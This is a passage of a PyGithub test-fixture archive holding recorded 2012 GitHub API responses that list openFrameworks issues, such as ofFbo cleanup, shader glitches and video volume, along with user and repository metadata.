?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue278.setUp.txt0000644000175100001660000000532014756101563021347 0ustar00runnerdockerhttps GET api.github.com None /users/openframeworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4929'), ('content-length', '564'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cddd0710dc9490553aecd937e15d1136"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","hireable":false,"url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","public_gists":0,"blog":null,"bio":null,"public_repos":12,"company":null,"gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","email":"","followers":399,"name":null,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-10-21T21:54:37Z","location":null,"id":142866,"following":4} https GET api.github.com None /repos/openframeworks/openFrameworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue278.testIteration.txt0000644000175100001660000227573514756101563023132 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = 